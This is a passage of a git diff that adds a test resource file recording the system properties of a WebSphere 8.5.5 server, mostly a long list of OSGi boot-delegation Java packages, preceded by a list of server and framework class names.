+com.ibm.ws.wlm.threadmanager.SleeperThreadPool +com.ibm.wsspi.bootstrap.WSLauncher +com.ibm.wsspi.bootstrap.WSPreLauncher +org.eclipse.core.internal.jobs.Worker +org.eclipse.core.internal.jobs.WorkerPool +org.eclipse.core.internal.runtime.PlatformActivator$1 +org.eclipse.core.launcher.Main +org.eclipse.core.runtime.adaptor.EclipseStarter +org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher +org.eclipse.osgi.framework.eventmgr.EventManager$EventThread +org.springframework.cNstw.ErrorHandler diff --git a/integration-test/src/test/resources/infos/WebSphere855ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/WebSphere855ContainerTestBasicInfo.txt new file mode 100644 index 00000000..654ee462 --- /dev/null +++ b/integration-test/src/test/resources/infos/WebSphere855ContainerTestBasicInfo.txt @@ -0,0 +1,1085 @@ +# Generated At 2025-08-10 15:03:29 +SystemProps: +file.encoding.pkg: sun.io +ibm.websphere.internalClassAccessMode: allow +org.osgi.framework.executionenvironment: OSGi/Minimum-1.0,OSGi/Minimum-1.1,OSGi/Minimum-1.2,JRE-1.1,J2SE-1.2,J2SE-1.3,J2SE-1.4,J2SE-1.5,JavaSE-1.6,JavaSE-1.7,JavaSE-1.8 +osgi.framework: file:/opt/IBM/WebSphere/AppServer/plugins/org.eclipse.osgi_.jar +java.home: /opt/IBM/WebSphere/AppServer/java/jre +eclipse.application: com.ibm.ws.bootstrap.WSLauncher +org.osgi.framework.bootdelegation: com.ibm.crypto.provider,javax.management,com.ibm.CORBA.iiop,com.ibm.rmi.util, com.ibm.security.x509,com.ibm.jsse2,com.ibm.jtc.orb.map,com.sun.jmx.mbeanserver, org.omg.CORBA,org.apache.xerces.impl.dv.xs,javax.xml.bind.annotation,com.ibm.rmi.corba, org.apache.xml.serializer,com.ibm.rmi.iiop,com.ibm.rmi.io,org.apache.xerces.impl.xs, com.ibm.ws.tcp.channel.impl,org.apache.xerces.util,org.apache.xerces.impl,org.apache.xerces.dom, javax.crypto,javax.net.ssl,javax.naming,com.ibm.xml.xlxp.scan.util, org.omg.PortableInterceptor,org.apache.xerces.xs,com.ibm.security.util,org.apache.xerces.impl.xs.traversers, javax.xml.bind,org.apache.xerces.parsers,org.apache.xerces.impl.xpath.regex,javax.xml.soap, com.ibm.lang.management,javax.xml.ws,javax.security.auth,com.ibm.oti.shared, org.apache.xerces.xni.parser,org.w3c.dom,org.objectweb.asm,javax.xml.stream, com.ibm.xml.xlxp.api.util,com.ibm.ws.channel.framework.impl,com.ibm.tools.attach.javaSE,com.ibm.security.bootstrap, org.xml.sax,org.apache.xerces.impl.dtd,javax.xml.transform,javax.security.auth.login, com.ibm.xtq.xslt.jaxp,com.ibm.misc,org.omg.CORBA.portable,javax.transaction, javax.imageio.spi,com.ibm.wsspi.channel.framework,com.ibm.ws.bootstrap,com.ibm.wsspi.channel,javax.xml.parsers, com.ibm.xml.xlxp.api.stax,com.ibm.wsspi.channel.framework.exception,org.apache.xerces.jaxp.validation,org.apache.xerces.impl.xs.opti, org.apache.xerces.impl.dv,javax.xml.datatype,javax.management.remote.rmi,javax.management.remote, com.ibm.ws.javax.activity,org.omg.CosNaming,org.apache.xerces.xni,javax.rmi.CORBA, javax.management.modelmbean,com.ibm.security.pkcs12,org.apache.xml.serialize,javax.xml.validation, com.ibm.rmi,org.apache.xerces.impl.xs.models,org.apache.xerces.impl.dtd.models,com.sun.naming.internal, com.ibm.rmi.util.ranges,com.ibm.oti.vm,org.xml.sax.helpers,org.omg.IOP, org.omg.CosNaming.NamingContextPackage,org.apache.xerces.impl.dv.dtd,javax.sql,javax.management.openmbean, com.ibm.security.util.calendar,com.ibm.security.jgss,org.apache.xerces.xni.grammars,org.apache.xerces.jaxp, org.apache.xerces.impl.xs.util,org.apache.harmony.luni.util,javax.naming.spi,javax.crypto.spec, com.sun.jmx.interceptor,com.ibm.xml.xlxp.api.util.encoding,com.ibm.wsspi.tcp.channel,com.ibm.ws.orb, com.ibm.security.pkcs7,com.ibm.rmi.ras,com.ibm.rmi.pi,com.ibm.CORBA.transport, javax.xml.bind.annotation.adapters,javax.jws,com.sun.imageio.spi,com.ibm.xtq.xslt.runtime, com.ibm.xml.xlxp.scan,com.ibm.ws.timeutils,com.ibm.ws.channel.framework.internals.impl,com.ibm.ws.channel.framework, com.ibm.websphere.channel.framework,com.ibm.security.util.text,com.ibm.rmi.transport,org.xml.sax.ext, javax.security.auth.callback,javax.annotation,com.sun.jmx.remote.internal,com.ibm.wsspi.runtime, com.ibm.wsspi.channel.base,com.ibm.ws.util.objectpool,com.ibm.security.cert,com.ibm.jvm.io, org.omg.CORBA_2_3.portable,org.ietf.jgss,org.apache.xerces.xs.datatypes,org.apache.xerces.impl.validation, javax.xml.ws.wsaddressing,javax.jws.soap,com.sun.jndi.ldap,com.ibm.xml.xlxp.scan.msg, com.ibm.ws.buffermgmt.impl,com.ibm.security.pkcsutil,com.ibm.security.pkcs9,com.ibm.rmi.util.buffer, com.ibm.nws.ffdc,org.w3c.dom.events,org.omg.IOP.CodecPackage,org.apache.xerces.impl.xs.identity, org.apache.xerces.impl.io,javax.xml.transform.stream,javax.xml.transform.sax,javax.xml.namespace, javax.transaction.xa,javax.rmi,javax.naming.directory,javax.activation, com.sun.jmx.remote.protocol.iiop,com.sun.imageio.plugins.jpeg,com.sun.beans.finder,com.sun.beans, com.ibm.ws.channel.framework.chains.impl,com.ibm.ws.channel.framework.chains,com.ibm.security.validator,com.ibm.security.jgss.mech.spnego, com.ibm.security.ec,com.ibm.oti.util,com.ibm.jvm,com.ibm.jsse, org.omg.stub.javax.management.remote.rmi,org.omg.PortableInterceptor.ORBInitInfoPackage,org.omg.DynamicAny,javax.xml.ws.soap, javax.xml.transform.stax,javax.xml.transform.dom,javax.xml.bind.helpers,javax.security.cert, javax.security.auth.kerberos,javax.net,javax.management.loading,javax.imageio.stream, javax.imageio,com.sun.xml.internal.bind.marshaller,com.sun.jmx.remote.util,com.sun.imageio.plugins.wbmp, com.sun.imageio.plugins.png,com.sun.imageio.plugins.gif,com.sun.imageio.plugins.bmp,com.ibm.xtq.xml.xdm, com.ibm.xml.xlxp.api.stax.msg,com.ibm.xml.enc,com.ibm.wsspi.channel.impl,com.ibm.wsspi.buffermgmt, com.ibm.ws.tcp.channel.resources,com.ibm.ws.channel.resources,com.ibm.ws.channel.framework.internals,com.ibm.ws.buffermgmt.resources, com.ibm.security.sasl,com.ibm.security.pkcs8,com.ibm.security.cmskeystore,com.ibm.security.auth, com.ibm.rmi.util.list,com.ibm.pkcs11,com.ibm.oti.security,com.ibm.nws.ejs.ras, com.ibm.crypto.pkcs11impl.provider,com.ibm.CORBA.ras,com.ibm.CORBA.channel.giop,org.w3c.dom.traversal, org.w3c.dom.ranges,org.w3c.dom.html,org.omg.PortableServer,org.omg.IOP.CodecFactoryPackage, org.omg.CosNaming.NamingContextExtPackage,org.omg.CORBA_2_3,org.omg.CORBA.TypeCodePackage,org.omg.CORBA.ORBPackage, org.apache.xerces.jaxp.datatype,org.apache.xerces.impl.msg,javax.xml.ws.handler,javax.xml.stream.util, javax.security.auth.x500,javax.security.auth.spi,javax.naming.ldap,javax.accessibility, com.sun.xml.internal.stream,com.sun.tools.internal.ws,com.sun.jmx.defaults,com.ibm.xylem.utils, com.ibm.xtq.xslt.runtime.output,com.ibm.xtq.xslt.jaxp.compiler,com.ibm.xtq.xml.xdm.dtm,com.ibm.xtq.ast.parsers.xslt, com.ibm.xml.xlxp.api.sax.impl,com.ibm.xml.crypto,com.ibm.wsspi.channel.ws390,com.ibm.security.krb5, com.ibm.rmi.javax.rmi.CORBA,com.ibm.rmi.javax.rmi,com.ibm.rmi.corba.DynamicAny,com.ibm.rmi.channel.giop, com.ibm.rmi.channel,com.ibm.pkcs11.nat,com.ibm.oti.lang,com.ibm.nws.util, com.ibm.net,com.ibm.jvm.util,com.ibm.jsse2.util,com.ibm.amino.map, com.ibm.Compiler.Internal,com.ibm.CORBA.poa,com.ibm.CORBA.channel.orb,com.ibm.CORBA.channel, sunw.util,sunw.io,org.w3c.dom.xpath,org.w3c.dom.views, org.w3c.dom.stylesheets,org.w3c.dom.ls,org.w3c.dom.css,org.w3c.dom.bootstrap, org.relaxng.datatype.helpers,org.relaxng.datatype,org.omg.stub.java.util,org.omg.stub.java.security, org.omg.stub.java.rmi,org.omg.stub.java.lang,org.omg.stub.java.io,org.omg.SendingContext, org.omg.PortableServer.portable,org.omg.PortableServer.ServantLocatorPackage,org.omg.PortableServer.POAPackage,org.omg.PortableServer.POAManagerPackage, org.omg.PortableServer.CurrentPackage,org.omg.Messaging,org.omg.DynamicAny.DynAnyPackage,org.omg.DynamicAny.DynAnyFactoryPackage, org.omg.Dynamic,org.omg.CORBA.DynAnyPackage,org.objectweb.asm.signature,org.apache.xpath.res, org.apache.xpath.patterns,org.apache.xpath.operations,org.apache.xpath.objects,org.apache.xpath.jaxp, org.apache.xpath.functions,org.apache.xpath.domapi,org.apache.xpath.compiler,org.apache.xpath.axes, org.apache.xpath,org.apache.xmlcommons,org.apache.xml.utils.res,org.apache.xml.utils, org.apache.xml.serializer.utils,org.apache.xml.serializer.unicode,org.apache.xml.serializer.dom3,org.apache.xml.serializer.charmap, org.apache.xml.res,org.apache.xml.dtm.ref.sax2dtm,org.apache.xml.dtm.ref.dom2dtm,org.apache.xml.dtm.ref, org.apache.xml.dtm,org.apache.xerces.xpointer,org.apache.xerces.xinclude,org.apache.xerces.impl.xpath, org.apache.xerces.impl.dv.util,org.apache.xerces.dom3.as,org.apache.xerces.dom.events,org.apache.xalan.xsltc.cmdline.res, org.apache.xalan.xsltc.cmdline.getopt,org.apache.xalan.xsltc.cmdline,org.apache.xalan.xslt,org.apache.xalan.transformer, org.apache.xalan.trace,org.apache.xalan.templates,org.apache.xalan.serialize,org.apache.xalan.res, org.apache.xalan.processor,org.apache.xalan.lib.sql,org.apache.xalan.lib,org.apache.xalan.extensions, org.apache.xalan.client,org.apache.xalan,org.apache.wml.dom,org.apache.wml, org.apache.html.dom,org.apache.harmony.sql.internal.rowset,org.apache.harmony.sql.internal.nls,org.apache.harmony.security.x509, org.apache.harmony.security.x501,org.apache.harmony.security.utils,org.apache.harmony.security.provider.crypto,org.apache.harmony.security.provider, org.apache.harmony.security.internal.nls,org.apache.harmony.security.fortress,org.apache.harmony.security.asn1,org.apache.harmony.security, org.apache.harmony.math.internal.nls,org.apache.harmony.luni.internal.process,org.apache.harmony.luni.internal.nls,org.apache.harmony.logging.internal.nls, org.apache.harmony.kernel.vm,org.apache.harmony.jndi.provider.rmi.registry,org.apache.harmony.jndi.provider.rmi,org.apache.harmony.jndi.provider.dns, org.apache.harmony.jndi.provider,org.apache.harmony.jndi.internal.parser,org.apache.harmony.jndi.internal.nls,org.apache.harmony.jndi.internal, org.apache.harmony.beans.internal.nls,org.apache.harmony.beans.editors,org.apache.harmony.beans,org.apache.harmony.annotation.internal.nls, netscape.security,netscape.javascript,javax.xml.xpath,javax.xml.ws.spi.http, javax.xml.ws.spi,javax.xml.ws.http,javax.xml.ws.handler.soap,javax.xml.stream.events, javax.xml.crypto.enc.spec,javax.xml.crypto.enc.keyinfo,javax.xml.crypto.enc.dom,javax.xml.crypto.enc, javax.xml.crypto.dsig.spec,javax.xml.crypto.dsig.keyinfo,javax.xml.crypto.dsig.dom,javax.xml.crypto.dsig, javax.xml.crypto.dom,javax.xml.crypto,javax.xml.bind.util,javax.xml.bind.attachment, javax.xml,javax.tools,javax.swing.undo,javax.swing.tree, javax.swing.text.rtf,javax.swing.text.html.parser,javax.swing.text.html,javax.swing.text, javax.swing.table,javax.swing.plaf.synth,javax.swing.plaf.nimbus,javax.swing.plaf.multi, javax.swing.plaf.metal,javax.swing.plaf.basic,javax.swing.plaf,javax.swing.filechooser, javax.swing.event,javax.swing.colorchooser,javax.swing.border,javax.swing, javax.sql.rowset.spi,javax.sql.rowset.serial,javax.sql.rowset,javax.sound.sampled.spi, javax.sound.sampled,javax.sound.midi.spi,javax.sound.midi,javax.security.sasl, javax.script,javax.rmi.ssl,javax.print.event,javax.print.attribute.standard, javax.print.attribute,javax.print,javax.naming.event,javax.management.timer, javax.management.relation,javax.management.monitor,javax.lang.model.util,javax.lang.model.type, javax.lang.model.element,javax.lang.model,javax.jnlp,javax.imageio.plugins.jpeg, javax.imageio.plugins.bmp,javax.imageio.metadata,javax.imageio.event,javax.crypto.interfaces, javax.annotation.processing,javax.activity,ibm.tools.attach,ibm.security.internal.spec, ibm.security.internal.interfaces,ibm.security.internal,com.sun.xml.internal.xsom.visitor,com.sun.xml.internal.xsom.util, com.sun.xml.internal.xsom.parser,com.sun.xml.internal.xsom.impl.util,com.sun.xml.internal.xsom.impl.scd,com.sun.xml.internal.xsom.impl.parser.state, com.sun.xml.internal.xsom.impl.parser,com.sun.xml.internal.xsom.impl,com.sun.xml.internal.xsom,com.sun.xml.internal.ws.wsdl.writer.document.xsd, com.sun.xml.internal.ws.wsdl.writer.document.soap12,com.sun.xml.internal.ws.wsdl.writer.document.soap,com.sun.xml.internal.ws.wsdl.writer.document.http,com.sun.xml.internal.ws.wsdl.writer.document, com.sun.xml.internal.ws.wsdl.writer,com.sun.xml.internal.ws.wsdl.parser,com.sun.xml.internal.ws.wsdl,com.sun.xml.internal.ws.util.xml, com.sun.xml.internal.ws.util.pipe,com.sun.xml.internal.ws.util.localization,com.sun.xml.internal.ws.util.exception,com.sun.xml.internal.ws.util, com.sun.xml.internal.ws.transport.http.server,com.sun.xml.internal.ws.transport.http.client,com.sun.xml.internal.ws.transport.http,com.sun.xml.internal.ws.transport, com.sun.xml.internal.ws.streaming,com.sun.xml.internal.ws.spi,com.sun.xml.internal.ws.server.sei,com.sun.xml.internal.ws.server.provider, com.sun.xml.internal.ws.server,com.sun.xml.internal.ws.resources,com.sun.xml.internal.ws.protocol.xml,com.sun.xml.internal.ws.protocol.soap, com.sun.xml.internal.ws.policy.subject,com.sun.xml.internal.ws.policy.spi,com.sun.xml.internal.ws.policy.sourcemodel.wspolicy,com.sun.xml.internal.ws.policy.sourcemodel.attach, com.sun.xml.internal.ws.policy.sourcemodel,com.sun.xml.internal.ws.policy.privateutil,com.sun.xml.internal.ws.policy.jaxws.spi,com.sun.xml.internal.ws.policy.jaxws, com.sun.xml.internal.ws.policy,com.sun.xml.internal.ws.org.objectweb.asm,com.sun.xml.internal.ws.model.wsdl,com.sun.xml.internal.ws.model.soap, com.sun.xml.internal.ws.model,com.sun.xml.internal.ws.message.stream,com.sun.xml.internal.ws.message.source,com.sun.xml.internal.ws.message.saaj, com.sun.xml.internal.ws.message.jaxb,com.sun.xml.internal.ws.message,com.sun.xml.internal.ws.handler,com.sun.xml.internal.ws.fault, com.sun.xml.internal.ws.encoding.xml,com.sun.xml.internal.ws.encoding.soap.streaming,com.sun.xml.internal.ws.encoding.soap,com.sun.xml.internal.ws.encoding.policy, com.sun.xml.internal.ws.encoding.fastinfoset,com.sun.xml.internal.ws.encoding,com.sun.xml.internal.ws.developer,com.sun.xml.internal.ws.config.management.policy, com.sun.xml.internal.ws.client.sei,com.sun.xml.internal.ws.client.dispatch,com.sun.xml.internal.ws.client,com.sun.xml.internal.ws.binding, com.sun.xml.internal.ws.api.wsdl.writer,com.sun.xml.internal.ws.api.wsdl.parser,com.sun.xml.internal.ws.api.streaming,com.sun.xml.internal.ws.api.server, com.sun.xml.internal.ws.api.policy,com.sun.xml.internal.ws.api.pipe.helper,com.sun.xml.internal.ws.api.pipe,com.sun.xml.internal.ws.api.model.wsdl, com.sun.xml.internal.ws.api.model.soap,com.sun.xml.internal.ws.api.model,com.sun.xml.internal.ws.api.message.stream,com.sun.xml.internal.ws.api.message, com.sun.xml.internal.ws.api.handler,com.sun.xml.internal.ws.api.ha,com.sun.xml.internal.ws.api.fastinfoset,com.sun.xml.internal.ws.api.config.management.policy, com.sun.xml.internal.ws.api.config.management,com.sun.xml.internal.ws.api.client,com.sun.xml.internal.ws.api.addressing,com.sun.xml.internal.ws.api, com.sun.xml.internal.ws.addressing.v200408,com.sun.xml.internal.ws.addressing.policy,com.sun.xml.internal.ws.addressing.model,com.sun.xml.internal.ws.addressing, com.sun.xml.internal.ws,com.sun.xml.internal.txw2.output,com.sun.xml.internal.txw2.annotation,com.sun.xml.internal.txw2, com.sun.xml.internal.stream.events,com.sun.xml.internal.stream.buffer.stax,com.sun.xml.internal.stream.buffer.sax,com.sun.xml.internal.stream.buffer, com.sun.xml.internal.rngom.xml.util,com.sun.xml.internal.rngom.xml.sax,com.sun.xml.internal.rngom.util,com.sun.xml.internal.rngom.parse.xml, com.sun.xml.internal.rngom.parse.host,com.sun.xml.internal.rngom.parse.compact,com.sun.xml.internal.rngom.parse,com.sun.xml.internal.rngom.nc, com.sun.xml.internal.rngom.dt.builtin,com.sun.xml.internal.rngom.dt,com.sun.xml.internal.rngom.digested,com.sun.xml.internal.rngom.binary.visitor, com.sun.xml.internal.rngom.binary,com.sun.xml.internal.rngom.ast.util,com.sun.xml.internal.rngom.ast.om,com.sun.xml.internal.rngom.ast.builder, com.sun.xml.internal.org.jvnet.staxex,com.sun.xml.internal.org.jvnet.mimepull,com.sun.xml.internal.org.jvnet.fastinfoset.stax,com.sun.xml.internal.org.jvnet.fastinfoset.sax.helpers, com.sun.xml.internal.org.jvnet.fastinfoset.sax,com.sun.xml.internal.org.jvnet.fastinfoset,com.sun.xml.internal.messaging.saaj.util.transform,com.sun.xml.internal.messaging.saaj.util, com.sun.xml.internal.messaging.saaj.soap.ver1_2,com.sun.xml.internal.messaging.saaj.soap.ver1_1,com.sun.xml.internal.messaging.saaj.soap.name,com.sun.xml.internal.messaging.saaj.soap.impl, com.sun.xml.internal.messaging.saaj.soap.dynamic,com.sun.xml.internal.messaging.saaj.soap,com.sun.xml.internal.messaging.saaj.packaging.mime.util,com.sun.xml.internal.messaging.saaj.packaging.mime.internet, com.sun.xml.internal.messaging.saaj.packaging.mime,com.sun.xml.internal.messaging.saaj.client.p2p,com.sun.xml.internal.messaging.saaj,com.sun.xml.internal.fastinfoset.vocab, com.sun.xml.internal.fastinfoset.util,com.sun.xml.internal.fastinfoset.tools,com.sun.xml.internal.fastinfoset.stax.util,com.sun.xml.internal.fastinfoset.stax.factory, com.sun.xml.internal.fastinfoset.stax.events,com.sun.xml.internal.fastinfoset.stax,com.sun.xml.internal.fastinfoset.sax,com.sun.xml.internal.fastinfoset.org.apache.xerces.util, com.sun.xml.internal.fastinfoset.dom,com.sun.xml.internal.fastinfoset.alphabet,com.sun.xml.internal.fastinfoset.algorithm,com.sun.xml.internal.fastinfoset, com.sun.xml.internal.dtdparser,com.sun.xml.internal.bind.v2.util,com.sun.xml.internal.bind.v2.schemagen.xmlschema,com.sun.xml.internal.bind.v2.schemagen.episode, com.sun.xml.internal.bind.v2.schemagen,com.sun.xml.internal.bind.v2.runtime.unmarshaller,com.sun.xml.internal.bind.v2.runtime.reflect.opt,com.sun.xml.internal.bind.v2.runtime.reflect, com.sun.xml.internal.bind.v2.runtime.property,com.sun.xml.internal.bind.v2.runtime.output,com.sun.xml.internal.bind.v2.runtime,com.sun.xml.internal.bind.v2.model.runtime, com.sun.xml.internal.bind.v2.model.nav,com.sun.xml.internal.bind.v2.model.impl,com.sun.xml.internal.bind.v2.model.core,com.sun.xml.internal.bind.v2.model.annotation, com.sun.xml.internal.bind.v2.bytecode,com.sun.xml.internal.bind.v2,com.sun.xml.internal.bind.util,com.sun.xml.internal.bind.unmarshaller, com.sun.xml.internal.bind.api.impl,com.sun.xml.internal.bind.api,com.sun.xml.internal.bind.annotation,com.sun.xml.internal.bind, com.sun.tracing.dtrace,com.sun.tracing,com.sun.tools.script.shell,com.sun.tools.jdi.resources, com.sun.tools.jdi,com.sun.tools.jconsole,com.sun.tools.javap.resources,com.sun.tools.javap, com.sun.tools.javah.resources,com.sun.tools.javah.oldjavah,com.sun.tools.javah,com.sun.tools.javadoc.resources, com.sun.tools.javadoc,com.sun.tools.javac.zip,com.sun.tools.javac.util,com.sun.tools.javac.tree, com.sun.tools.javac.sym,com.sun.tools.javac.resources,com.sun.tools.javac.processing,com.sun.tools.javac.parser, com.sun.tools.javac.nio,com.sun.tools.javac.model,com.sun.tools.javac.main,com.sun.tools.javac.jvm, com.sun.tools.javac.file,com.sun.tools.javac.comp,com.sun.tools.javac.code,com.sun.tools.javac.api, com.sun.tools.javac,com.sun.tools.internal.xjc.writer,com.sun.tools.internal.xjc.util,com.sun.tools.internal.xjc.runtime, com.sun.tools.internal.xjc.reader.xmlschema.parser,com.sun.tools.internal.xjc.reader.xmlschema.ct,com.sun.tools.internal.xjc.reader.xmlschema.bindinfo,com.sun.tools.internal.xjc.reader.xmlschema, com.sun.tools.internal.xjc.reader.relaxng,com.sun.tools.internal.xjc.reader.internalizer,com.sun.tools.internal.xjc.reader.gbind,com.sun.tools.internal.xjc.reader.dtd.bindinfo, com.sun.tools.internal.xjc.reader.dtd,com.sun.tools.internal.xjc.reader,com.sun.tools.internal.xjc.outline,com.sun.tools.internal.xjc.model.nav, com.sun.tools.internal.xjc.model,com.sun.tools.internal.xjc.generator.util,com.sun.tools.internal.xjc.generator.bean.field,com.sun.tools.internal.xjc.generator.bean, com.sun.tools.internal.xjc.generator.annotation.spec,com.sun.tools.internal.xjc.generator.annotation.ri,com.sun.tools.internal.xjc.api.util,com.sun.tools.internal.xjc.api.impl.s2j, com.sun.tools.internal.xjc.api.impl.j2s,com.sun.tools.internal.xjc.api,com.sun.tools.internal.xjc.addon.sync,com.sun.tools.internal.xjc.addon.locator, com.sun.tools.internal.xjc.addon.episode,com.sun.tools.internal.xjc.addon.code_injector,com.sun.tools.internal.xjc.addon.at_generated,com.sun.tools.internal.xjc.addon.accessors, com.sun.tools.internal.xjc,com.sun.tools.internal.ws.wsdl.parser,com.sun.tools.internal.ws.wsdl.framework,com.sun.tools.internal.ws.wsdl.document.soap, com.sun.tools.internal.ws.wsdl.document.schema,com.sun.tools.internal.ws.wsdl.document.mime,com.sun.tools.internal.ws.wsdl.document.jaxws,com.sun.tools.internal.ws.wsdl.document.http, com.sun.tools.internal.ws.wsdl.document,com.sun.tools.internal.ws.wscompile,com.sun.tools.internal.ws.util.xml,com.sun.tools.internal.ws.util, com.sun.tools.internal.ws.spi,com.sun.tools.internal.ws.resources,com.sun.tools.internal.ws.processor.util,com.sun.tools.internal.ws.processor.modeler.wsdl, com.sun.tools.internal.ws.processor.modeler.annotation,com.sun.tools.internal.ws.processor.modeler,com.sun.tools.internal.ws.processor.model.jaxb,com.sun.tools.internal.ws.processor.model.java, com.sun.tools.internal.ws.processor.model.exporter,com.sun.tools.internal.ws.processor.model,com.sun.tools.internal.ws.processor.generator,com.sun.tools.internal.ws.processor, com.sun.tools.internal.ws.api.wsdl,com.sun.tools.internal.ws.api,com.sun.tools.internal.jxc.model.nav,com.sun.tools.internal.jxc.gen.config, com.sun.tools.internal.jxc.apt,com.sun.tools.internal.jxc,com.sun.tools.extcheck,com.sun.tools.example.debug.tty, com.sun.tools.example.debug.expr,com.sun.tools.doclets.standard,com.sun.tools.doclets.internal.toolkit.util.links,com.sun.tools.doclets.internal.toolkit.util, com.sun.tools.doclets.internal.toolkit.taglets,com.sun.tools.doclets.internal.toolkit.resources,com.sun.tools.doclets.internal.toolkit.builders,com.sun.tools.doclets.internal.toolkit, com.sun.tools.doclets.formats.html.resources,com.sun.tools.doclets.formats.html.markup,com.sun.tools.doclets.formats.html,com.sun.tools.doclets, com.sun.tools.corba.se.idl.toJavaPortable,com.sun.tools.corba.se.idl.som.idlemit,com.sun.tools.corba.se.idl.som.cff,com.sun.tools.corba.se.idl.constExpr, com.sun.tools.corba.se.idl,com.sun.tools.classfile,com.sun.tools.attach.spi,com.sun.tools.attach, com.sun.tools.apt.util,com.sun.tools.apt.resources,com.sun.tools.apt.mirror.util,com.sun.tools.apt.mirror.type, com.sun.tools.apt.mirror.declaration,com.sun.tools.apt.mirror.apt,com.sun.tools.apt.mirror,com.sun.tools.apt.main, com.sun.tools.apt.comp,com.sun.tools.apt,com.sun.swing.internal.plaf.synth.resources,com.sun.swing.internal.plaf.metal.resources, com.sun.swing.internal.plaf.basic.resources,com.sun.source.util,com.sun.source.tree,com.sun.security.cert.internal.x509, com.sun.script.util,com.sun.script.javascript,com.sun.rowset.providers,com.sun.rowset.internal, com.sun.rowset,com.sun.rmi.rmid,com.sun.org.omg.SendingContext.CodeBasePackage,com.sun.org.omg.SendingContext, com.sun.org.omg.CORBA.portable,com.sun.org.omg.CORBA.ValueDefPackage,com.sun.org.omg.CORBA,com.sun.org.glassfish.gmbal.util, com.sun.org.glassfish.gmbal,com.sun.org.glassfish.external.statistics.impl,com.sun.org.glassfish.external.statistics.annotations,com.sun.org.glassfish.external.statistics, com.sun.org.glassfish.external.probe.provider.annotations,com.sun.org.glassfish.external.probe.provider,com.sun.org.glassfish.external.arc,com.sun.org.glassfish.external.amx, com.sun.org.apache.xpath.internal.jaxp,com.sun.org.apache.xml.internal.security.utils.resolver.implementations,com.sun.org.apache.xml.internal.security.utils.resolver,com.sun.org.apache.xml.internal.security.utils, com.sun.org.apache.xml.internal.security.transforms.params,com.sun.org.apache.xml.internal.security.transforms.implementations,com.sun.org.apache.xml.internal.security.transforms,com.sun.org.apache.xml.internal.security.signature, com.sun.org.apache.xml.internal.security.keys.storage.implementations,com.sun.org.apache.xml.internal.security.keys.storage,com.sun.org.apache.xml.internal.security.keys.keyresolver.implementations,com.sun.org.apache.xml.internal.security.keys.keyresolver, com.sun.org.apache.xml.internal.security.keys.content.x509,com.sun.org.apache.xml.internal.security.keys.content.keyvalues,com.sun.org.apache.xml.internal.security.keys.content,com.sun.org.apache.xml.internal.security.keys, com.sun.org.apache.xml.internal.security.exceptions,com.sun.org.apache.xml.internal.security.encryption,com.sun.org.apache.xml.internal.security.c14n.implementations,com.sun.org.apache.xml.internal.security.c14n.helper, com.sun.org.apache.xml.internal.security.c14n,com.sun.org.apache.xml.internal.security.algorithms.implementations,com.sun.org.apache.xml.internal.security.algorithms,com.sun.org.apache.xml.internal.security, com.sun.org.apache.xerces.internal.parsers,com.sun.org.apache.xerces.internal.jaxp.validation,com.sun.org.apache.xerces.internal.jaxp.datatype,com.sun.org.apache.xerces.internal.jaxp, com.sun.org.apache.xerces.internal.dom,com.sun.org.apache.xalan.internal.xsltc.trax,com.sun.nio.zipfs,com.sun.nio.sctp, com.sun.nio.file,com.sun.net.ssl.internal.www.protocol.https,com.sun.net.ssl.internal.ssl,com.sun.net.ssl, com.sun.net.httpserver.spi,com.sun.net.httpserver,com.sun.mirror.util,com.sun.mirror.type, com.sun.mirror.declaration,com.sun.mirror.apt,com.sun.media.sound,com.sun.management.jmx, com.sun.jnlp,com.sun.jndi.url.rmi,com.sun.jndi.url.ldaps,com.sun.jndi.url.ldap, com.sun.jndi.url.iiopname,com.sun.jndi.url.iiop,com.sun.jndi.url.dns,com.sun.jndi.url.corbaname, com.sun.jndi.toolkit.url,com.sun.jndi.toolkit.dir,com.sun.jndi.toolkit.ctx,com.sun.jndi.toolkit.corba, com.sun.jndi.rmi.registry,com.sun.jndi.ldap.sasl,com.sun.jndi.ldap.pool,com.sun.jndi.ldap.ext, com.sun.jndi.dns,com.sun.jndi.cosnaming,com.sun.jmx.trace,com.sun.jmx.snmp.tasks, com.sun.jmx.snmp.mpm,com.sun.jmx.snmp.internal,com.sun.jmx.snmp.defaults,com.sun.jmx.snmp.daemon, com.sun.jmx.snmp.agent,com.sun.jmx.snmp.IPAcl,com.sun.jmx.snmp,com.sun.jmx.remote.security, com.sun.jmx.remote.protocol.rmi,com.sun.jdi.request,com.sun.jdi.event,com.sun.jdi.connect.spi, com.sun.jdi.connect,com.sun.jdi,com.sun.javaws.util,com.sun.javaws.ui, com.sun.javaws.security,com.sun.javaws.progress,com.sun.javaws.net.protocol.jar,com.sun.javaws.jnl, com.sun.javaws.exceptions,com.sun.javaws,com.sun.javadoc,com.sun.java.util.jar.pack, com.sun.java.swing.plaf.windows.resources,com.sun.java.swing.plaf.windows,com.sun.java.swing.plaf.nimbus,com.sun.java.swing.plaf.motif.resources, com.sun.java.swing.plaf.motif,com.sun.java.swing,com.sun.java.browser.plugin2.liveconnect.v1,com.sun.java.browser.plugin2, com.sun.java.browser.net,com.sun.java.browser.dom,com.sun.java.accessibility.util.java.awt,com.sun.java.accessibility.util, com.sun.jarsigner,com.sun.istack.internal.ws,com.sun.istack.internal.tools,com.sun.istack.internal.logging, com.sun.istack.internal.localization,com.sun.istack.internal,com.sun.inputmethods.internal.thaiim,com.sun.inputmethods.internal.indicim, com.sun.imageio.stream,com.sun.imageio.plugins.common,com.sun.imageio.metadata,com.sun.image.codec.jpeg, com.sun.deploy.xml,com.sun.deploy.util,com.sun.deploy.uitoolkit.ui,com.sun.deploy.uitoolkit.impl.text, com.sun.deploy.uitoolkit.impl.awt.ui,com.sun.deploy.uitoolkit.impl.awt,com.sun.deploy.uitoolkit,com.sun.deploy.ui, com.sun.deploy.trace,com.sun.deploy.si,com.sun.deploy.services,com.sun.deploy.security, com.sun.deploy.resources,com.sun.deploy.pings,com.sun.deploy.perf,com.sun.deploy.panel, com.sun.deploy.net.socket,com.sun.deploy.net.proxy,com.sun.deploy.net.protocol.rmi,com.sun.deploy.net.protocol.javascript, com.sun.deploy.net.protocol.https,com.sun.deploy.net.protocol.chrome,com.sun.deploy.net.protocol.about,com.sun.deploy.net.protocol, com.sun.deploy.net.offline,com.sun.deploy.net.cookie,com.sun.deploy.net,com.sun.deploy.jardiff, com.sun.deploy.config,com.sun.deploy.cache,com.sun.deploy.association.utility,com.sun.deploy.association, 